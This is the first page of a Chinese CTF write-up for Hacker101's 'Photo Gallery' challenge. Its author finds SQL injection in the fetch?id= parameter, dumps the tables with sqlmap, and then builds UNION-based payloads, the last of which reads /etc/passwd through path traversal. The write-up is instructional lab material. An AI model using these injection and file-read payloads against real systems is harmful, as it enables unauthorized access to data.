歡迎來到 黑吧安全網 聚焦網絡安全前沿資訊,精華內容,交流技術心得!

玩轉Hacker101 CTF(二)

來源:本站整理 作者:佚名 時間:2019-06-18 TAG: 我要投稿

hi!大家好,我又來啦,這次繼續為大家帶來Hacker101 CTF的writeup,接著上一篇的進度,這次和大家一起探討第五題和第六題。

廢話少說,上題!
 
第五題Photo Gallery
打開主頁看見我們可愛的喵喵ヽ(=^・ω・^=)丿

然而最下面貌似有一張圖片不可見,先不管它,常規思路,看下網頁源碼:
html>
    head>
        title>Magical Image Gallerytitle>
    head>
    body>
        h1>Magical Image Galleryh1>
h2>Kittensh2>
div>div>img src="fetch?id=1" width="266" height="150">br>Utterly adorablediv>div>img src="fetch?id=2" width="266" height="150">br>Purrfectdiv>div>img src="fetch?id=3" width="266" height="150">br>Invisiblediv>i>Space used: 0    totali>div>
    body>
html>
從源碼中可以看出來,貓的圖片是通過”fetch?id=1”這種方式加載的,我們在瀏覽器中訪問一下:http://xxxx/xxx/fetch?id=1,返回如下:

貌似返回了一張圖片的內容,我們在linux
虛擬機中執行:curl http://xxxx/xxx/fetch?id=1 > 1.jpg

將這段信息保存為1.jpg,查看,可以看到這的確是第一張貓的照片。
我們再訪問:http://xxxx/xxx/fetch?id=2,同樣返回了第二張貓的照片內容,

我們嘗試一下訪問:http://xxx/xxx/fetch?id=2-1,注意仔細看,這次又返回了第一張照片的內容:

這說明“2-1”被解析了,那么id參數很可能傳遞到了后臺腳本的數據庫邏輯中,所以這里很可能有注入:

python sqlmapy.py -u http://xxxx/xxx/fetch?id=1
于是一頓操作,拿到兩張表:
Table1:albums
id
title
1
Kittens
Table:photos
id
title
parent
filename
1
Utterly adorable
1
files/adorable.jpg
2
Purrfect
1
files/purrfect.jpg
3
Invisible
1
f8f1e29a43623363a3f53cede84d8c845a1c58076bcbf668c5372b593b7ef71d
然而并沒有flag。。

好吧,雖然沒有注出flag,但我們也不能放棄人生呀!(^∀^)
繼續來看,注意到表photos中的filename存儲了照片的路徑,也就是說,后臺處理邏輯通過我們url中傳遞的id參數,來從數據庫中取出了照片文件的路徑,然后讀取文件內容返回給我們,我們有理由猜測后臺的sql語句應該類似于:
select filename from photo where id=N;
既然這里存在sql漏洞,那么我們就可以利用這一點來控制sql的查詢結果也就是filename,進而讀取我們控制的filename,我們驗證一下,先訪問url:
http://xxxx/xxx/fetch?id=4

很好,就如數據庫結果呈現的一樣,表photos中id=4時沒有對應記錄,然后訪問url:
http://xxxx/xxx/fetch?id=4 union select 'files/adorable.jpg' --

Perfect!雖然id=4沒有記錄,但我們通過union查詢成功偽造了filename,使得后臺程序讀取了第一張照片,那么繼續,試試任意文件讀取的經典payload:
http://xxxx/xxx/fetch?id=4 union select '../../../../../../../etc/passwd' --
然后:

[1] [2] [3] [4] [5] [6] [7]  下一頁

【聲明】:黑吧安全網(http://www.pcpbjo.tw)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。
  • 最新更新
    • 相關閱讀
      • 本類熱門
        • 最近下載
        云南快乐十分前三电视